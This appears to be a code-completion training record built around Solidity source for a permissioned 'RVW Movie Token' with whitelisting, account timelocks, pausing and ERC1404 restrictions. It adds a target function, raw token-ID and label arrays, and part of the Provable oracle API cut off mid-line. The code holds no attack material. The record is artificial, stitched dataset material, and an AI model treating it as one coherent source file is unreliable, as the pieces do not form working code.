{IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); totalSupply = totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowances[account][msg.sender].sub(value)); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address private _newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } // Throws if called by any account other than the owner modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } // True if `msg.sender` is the owner of the contract. function isOwner() public view returns (bool) { return msg.sender == owner; } // Allows the current owner to relinquish control of the contract. function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } // Propose the new Owner of the smart contract function proposeOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _newOwner = newOwner; } // Accept the ownership of the smart contract as a new Owner function acceptOwnership() public { require(msg.sender == _newOwner, "Ownable: caller is not the new owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title TimelockerRole * @dev TimelockerRole can lock any users wallet for some time. */ contract TimelockerRole is Ownable { using Roles for Roles.Role; event TimelockerAdded(address indexed addedTimelocker, address indexed addedBy); event TimelockerRemoved(address indexed removedTimelocker, address indexed removedBy); Roles.Role private _timelockers; modifier onlyTimelocker() { require(isTimelocker(msg.sender), "TimelockerRole: caller does not have the Timelocker role"); _; } function isTimelocker(address account) public view returns (bool) { return _timelockers.has(account); } function addTimelocker(address account) public onlyOwner { _addTimelocker(account); } function removeTimelocker(address account) public onlyOwner { _removeTimelocker(account); } function _addTimelocker(address account) internal { _timelockers.add(account); emit TimelockerAdded(account, msg.sender); } function _removeTimelocker(address account) internal { _timelockers.remove(account); emit TimelockerRemoved(account, msg.sender); } } /** * @title WhitelisterRole * @dev WhitelisterRole can whitelist any users wallet. */ contract WhitelisterRole is Ownable { using Roles for Roles.Role; event WhitelisterAdded(address indexed addedWhitelister, address indexed addedBy); event WhitelisterRemoved(address indexed removedWhitelister, address indexed removedBy); Roles.Role private _whitelisters; modifier onlyWhitelister() { require(isWhitelister(msg.sender), "WhitelisterRole: caller does not have the Whitelister role"); _; } function isWhitelister(address account) public view returns (bool) { return _whitelisters.has(account); } function addWhitelister(address account) public onlyOwner { _addWhitelister(account); } function removeWhitelister(address account) public onlyOwner { _removeWhitelister(account); } function _addWhitelister(address account) internal { _whitelisters.add(account); emit WhitelisterAdded(account, msg.sender); } function _removeWhitelister(address account) internal { _whitelisters.remove(account); emit WhitelisterRemoved(account, msg.sender); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * */ contract Pausable is Ownable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); /** * @dev By Default it is false */ bool private _paused; /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(msg.sender); } /** * @dev To pause the all transfer of the token */ function pause() public onlyOwner { _pause(); } /** * @dev To unpause the all trasfer of the token */ function unpause() public onlyOwner { _unpause(); } } /** * @title Timelockable * @dev TimelockerRole can lock any users all fund in wallet address upto some releaseTime */ contract Timelockable is TimelockerRole{ mapping (address => uint256) private timeLockups; event AccountLock(address indexed _address, uint256 _releaseTime); /** * @dev Lock the amount of this address till releaseTime */ function lock( address _address, uint256 _releaseTime) public onlyTimelocker returns (bool) { require(_releaseTime > block.timestamp, "Timelockable: Release time should be greater than release time"); require(_address != address(0), "Timelockable: Address should not be Zero address"); timeLockups[_address] = _releaseTime; emit AccountLock(_address, _releaseTime); return true; } /** * @dev Get the timestamp when timelock is released */ function checkLockup(address _address) public view returns(uint256) { return timeLockups[_address]; } /** * @dev Check if wallet is locked or not */ function isLocked(address _address) public view returns(bool) { return timeLockups[_address] > block.timestamp; } } /** * @title Whitelistable * @dev The Whitelistable contract has an can whitelist any address to transfer the security token */ contract Whitelistable is WhitelisterRole{ event SetWhitelist(address _address, bool status); // White list status mapping (address => bool) private whitelist; // Whitelist owner constructor(){ whitelist[msg.sender] = true; emit SetWhitelist(msg.sender, true); } /** * @dev Set a white list address */ function setWhitelist(address to, bool status) public onlyWhitelister returns(bool){ whitelist[to] = status; emit SetWhitelist(to, status); return true; } /** * @dev Get the status of the whitelist */ function isWhitelisted(address _address) public view returns(bool){ return whitelist[_address]; } /** * @dev Determine if sender and receiver are whitelisted, return true if both accounts are whitelisted */ function checkWhitelists(address from, address to) external view returns (bool) { return whitelist[from] && whitelist[to]; } } /** * @title RVW * @dev RVW is ERC20 standard with Ownable, Pausable, Whitelistable, Timelockable and IERC1404 */ contract RVW is ERC20, Ownable, Pausable, Whitelistable, Timelockable, IERC1404{ uint8 public constant SUCCESS = 0; /** * @dev external smart contract for transfer restriction */ IERC1404 public restrictedTransfer; event UpdatedRestrictedTransfer(address indexed _restrictedTransfer); event Issue(address indexed to, uint256 value); /** * @dev Initializes the details of the token with all the above details * Also put the ERC1404 smart contract */ constructor(IERC1404 _restrictedTransfer) ERC20('RVW Movie Token', 'RVW', 18, 5000000 * (10 ** 18)) { restrictedTransfer = _restrictedTransfer; } /** * @dev modifier to check the transfer restriction */ modifier notRestricted (address _from, address _to, uint256 _value) { uint8 code = restrictedTransfer.detectTransferRestriction(_from, _to, _value); require(code == SUCCESS, restrictedTransfer.messageForTransferRestriction(code)); _; } /** * @dev Update ERC1404 smart contract */ function updateRestrictedTransfer(address _restrictedTransfer) public onlyOwner{ restrictedTransfer = IERC1404(_restrictedTransfer); emit UpdatedRestrictedTransfer(_restrictedTransfer); } /** * @dev Get the code of the transfer restriction */ function detectTransferRestriction (address _from, address _to, uint256 _amount) public override view returns (uint8) { require(restrictedTransfer != IERC1404(0), 'RestrictedTransfer: Contract is not set'); return restrictedTransfer.detectTransferRestriction(_from, _to, _amount); } /** * @dev Get the message of the code form the trasnfer restriction contract */ function messageForTransferRestriction (uint8 code) external override view returns (string memory) { return restrictedTransfer.messageForTransferRestriction(code); } /** * @dev Standard trasnfer function is override here with restriction */ function transfer (address to, uint256 value) public override notRestricted(msg.sender, to, value) returns (bool success) { success = super.transfer(to, value); } /** * @dev Standard trasnferFrom function is override here with restriction */ function transferFrom (address from, address to, uint256 value) public override notRestricted(from, to, value) returns (bool success) { success = super.transferFrom(from, to, value); } /** * @dev Taking out mistaken sent token to this Smart contract to owner */ function transferSCFunds(address token) public onlyOwner{ require(token != address(0), 'Token: Contract Address should not be ZERO value'); uint256 balance = IERC20(token).balanceOf(address(this)); require( balance > 0, 'Token: Contract does not have token'); IERC20(token).transfer(owner, balance); } /** * @dev Whitelist, Issue and lock the RVW token to the address to from address from */ function _issueIssueWhitelistAndTimelock(address from, address to, uint256 value, uint256 releaseTime) internal returns(bool){ if(from == address(0) || to == address(0)) return false; if(releaseTime > block.timestamp){ lock(to, releaseTime); } if(!isWhitelisted(to)){ setWhitelist(to, true); } uint8 code = restrictedTransfer.detectTransferRestriction(from, to, value); if(code != SUCCESS) return false; transferFrom(from, to, value); emit Issue(to, value); return true; } /** * @dev Bulk Whitelist and Issue tokens to address to from address from * @param from, Wallet where tokens are present * @param to, contains all the address of users wallet * @param value, amount to token to be issued * @param releaseTime, if greater than block.timestamp then lock it otherwise do not lock it */ function bulkIssueWhitelistAndTimelock(address from, address[] calldata to, uint256[] calldata value, uint256[] calldata releaseTime) public onlyWhitelister onlyTimelocker returns (bool) { require(releaseTime.length == to.length, 'Bulk issue: Release Time and To Length is not same'); require(to.length == value.length, 'Bulk issue: To and Value Length is not same'); uint256 len = to.length; for(uint256 i=0; i< len;i++){ _issueIssueWhitelistAndTimelock(from, to[i], value[i], releaseTime[i]); } return true; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) manager; } /** * @dev Add the role to the account */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.manager[account] = true; } /** * @dev Remove the role of the account */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.manager[account] = false; } /** * @dev Check if an account has this role. */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.manager[account]; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
* @dev Update ERC1404 smart contract/
function updateRestrictedTransfer(address _restrictedTransfer) public onlyOwner{ restrictedTransfer = IERC1404(_restrictedTransfer); emit UpdatedRestrictedTransfer(_restrictedTransfer); }
10,438,506
[ 1, 1891, 4232, 39, 3461, 3028, 13706, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 18784, 5912, 12, 2867, 389, 29306, 5912, 13, 1071, 1338, 5541, 95, 203, 3639, 15693, 5912, 273, 467, 654, 39, 3461, 3028, 24899, 29306, 5912, 1769, 203, 3639, 3626, 19301, 18784, 5912, 24899, 29306, 5912, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: github.com/provable-things/ethereum-api/blob/master/provableAPI_0.6.sol // <provableAPI> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016-2019 Oraclize LTD Copyright (c) 2019-2020 Provable Things Limited Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity > 0.6.1 < 0.7.0; // Incompatible compiler version - please select a compiler within the stated pragma range, or use a different version of the provableAPI! // Dummy contract only used to emit to end-user they are using wrong solc abstract contract solcChecker { /* INCOMPATIBLE SOLC: import the following instead: "github.com/oraclize/ethereum-api/oraclizeAPI_0.4.sol" */ function f(bytes calldata x) virtual external; } interface ProvableI { function cbAddress() external returns (address _cbAddress); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function getPrice(string calldata _datasource) external returns (uint _dsprice); function randomDS_getSessionPubKeyHash() external view returns (bytes32 _sessionKeyHash); function getPrice(string calldata _datasource, uint _gasLimit) external returns (uint _dsprice); function queryN(uint _timestamp, string calldata _datasource, bytes calldata _argN) external payable returns (bytes32 _id); function query(uint _timestamp, string calldata _datasource, string calldata _arg) external payable returns (bytes32 _id); function query2(uint _timestamp, string calldata _datasource, string calldata _arg1, string calldata _arg2) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg, uint _gasLimit) external payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string calldata _datasource, bytes calldata _argN, uint _gasLimit) external payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg1, string calldata _arg2, uint _gasLimit) external payable returns (bytes32 _id); } interface OracleAddrResolverI { function getAddress() external returns (address _address); } /* Begin solidity-cborutils https://github.com/smartcontractkit/solidity-cborutils MIT License Copyright (c) 2018 SmartContract ChainLink, Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory _buf, uint _capacity) internal pure { uint capacity = _capacity; if (capacity % 32 != 0) { capacity += 32 - (capacity % 32); } _buf.capacity = capacity; // Allocate space for the buffer data assembly { let ptr := mload(0x40) mstore(_buf, ptr) mstore(ptr, 0) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory _buf, uint _capacity) private pure { bytes memory oldbuf = _buf.buf; init(_buf, _capacity); append(_buf, oldbuf); } function max(uint _a, uint _b) private pure returns (uint _max) { if (_a > _b) { return _a; } return _b; } /** * @dev Appends a byte array to the end of the buffer. Resizes if doing so * would exceed the capacity of the buffer. * @param _buf The buffer to append to. * @param _data The data to append. * @return _buffer The original buffer. * */ function append(buffer memory _buf, bytes memory _data) internal pure returns (buffer memory _buffer) { if (_data.length + _buf.buf.length > _buf.capacity) { resize(_buf, max(_buf.capacity, _data.length) * 2); } uint dest; uint src; uint len = _data.length; assembly { let bufptr := mload(_buf) // Memory address of the buffer data let buflen := mload(bufptr) // Length of existing buffer data dest := add(add(bufptr, buflen), 32) // Start address = buffer address + buffer length + sizeof(buffer length) mstore(bufptr, add(buflen, mload(_data))) // Update buffer length src := add(_data, 32) } for(; len >= 32; len -= 32) { // Copy word-length chunks while possible assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; // Copy remaining bytes assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return _buf; } /** * * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param _buf The buffer to append to. * @param _data The data to append. * */ function append(buffer memory _buf, uint8 _data) internal pure { if (_buf.buf.length + 1 > _buf.capacity) { resize(_buf, _buf.capacity * 2); } assembly { let bufptr := mload(_buf) // Memory address of the buffer data let buflen := mload(bufptr) // Length of existing buffer data let dest := add(add(bufptr, buflen), 32) // Address = buffer address + buffer length + sizeof(buffer length) mstore8(dest, _data) mstore(bufptr, add(buflen, 1)) // Update buffer length } } /** * * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param _buf The buffer to append to. * @param _data The data to append. * @return _buffer The original buffer. * */ function appendInt(buffer memory _buf, uint _data, uint _len) internal pure returns (buffer memory _buffer) { if (_len + _buf.buf.length > _buf.capacity) { resize(_buf, max(_buf.capacity, _len) * 2); } uint mask = 256 ** _len - 1; assembly { let bufptr := mload(_buf) // Memory address of the buffer data let buflen := mload(bufptr) // Length of existing buffer data let dest := add(add(bufptr, buflen), _len) // Address = buffer address + buffer length + sizeof(buffer length) + len mstore(dest, or(and(mload(dest), not(mask)), _data)) mstore(bufptr, add(buflen, _len)) // Update buffer length } return _buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory _buf, uint8 _major, uint _value) private pure { if (_value <= 23) { _buf.append(uint8((_major << 5) | _value)); } else if (_value <= 0xFF) { _buf.append(uint8((_major << 5) | 24)); _buf.appendInt(_value, 1); } else if (_value <= 0xFFFF) { _buf.append(uint8((_major << 5) | 25)); _buf.appendInt(_value, 2); } else if (_value <= 0xFFFFFFFF) { _buf.append(uint8((_major << 5) | 26)); _buf.appendInt(_value, 4); } else if (_value <= 0xFFFFFFFFFFFFFFFF) { _buf.append(uint8((_major << 5) | 27)); _buf.appendInt(_value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory _buf, uint8 _major) private pure { _buf.append(uint8((_major << 5) | 31)); } function encodeUInt(Buffer.buffer memory _buf, uint _value) internal pure { encodeType(_buf, MAJOR_TYPE_INT, _value); } function encodeInt(Buffer.buffer memory _buf, int _value) internal pure { if (_value >= 0) { encodeType(_buf, MAJOR_TYPE_INT, uint(_value)); } else { encodeType(_buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - _value)); } } function encodeBytes(Buffer.buffer memory _buf, bytes memory _value) internal pure { encodeType(_buf, MAJOR_TYPE_BYTES, _value.length); _buf.append(_value); } function encodeString(Buffer.buffer memory _buf, string memory _value) internal pure { encodeType(_buf, MAJOR_TYPE_STRING, bytes(_value).length); _buf.append(bytes(_value)); } function startArray(Buffer.buffer memory _buf) internal pure { encodeIndefiniteLengthType(_buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory _buf) internal pure { encodeIndefiniteLengthType(_buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory _buf) internal pure { encodeIndefiniteLengthType(_buf, MAJOR_TYPE_CONTENT_FREE); } } /* End solidity-cborutils */ contract usingProvable { using CBOR for Buffer.buffer; ProvableI provable; OracleAddrResolverI OAR; uint constant day = 60 * 60 * 24; uint constant week = 60 * 60 * 24 * 7; uint constant month = 60 * 60 * 24 * 30; byte constant proofType_NONE = 0x00; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; byte constant proofType_Android = 0x40; byte constant proofType_TLSNotary = 0x10; string provable_network_name; uint8 constant networkID_auto = 0; uint8 constant networkID_morden = 2; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_consensys = 161; mapping(bytes32 => bytes32) provable_randomDS_args; mapping(bytes32 => bool) provable_randomDS_sessionKeysHashVerified; modifier provableAPI { if ((address(OAR) == address(0)) || (getCodeSize(address(OAR)) == 0)) { provable_setNetwork(networkID_auto); } if (address(provable) != OAR.getAddress()) { provable = ProvableI(OAR.getAddress()); } _; } modifier provable_randomDS_proofVerify(bytes32 _queryId, string memory _result, bytes memory _proof) { // RandomDS Proof Step 1: The prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (uint8(_proof[2]) == uint8(1))); bool proofVerified = provable_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), provable_getNetworkName()); require(proofVerified); _; } function provable_setNetwork(uint8 _networkID) internal returns (bool _networkSet) { _networkID; // NOTE: Silence the warning and remain backwards compatible return provable_setNetwork(); } function provable_setNetworkName(string memory _network_name) internal { provable_network_name = _network_name; } function provable_getNetworkName() internal view returns (string memory _networkName) { return provable_network_name; } function provable_setNetwork() internal returns (bool _networkSet) { if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed) > 0) { //mainnet OAR = OracleAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); provable_setNetworkName("eth_mainnet"); return true; } if 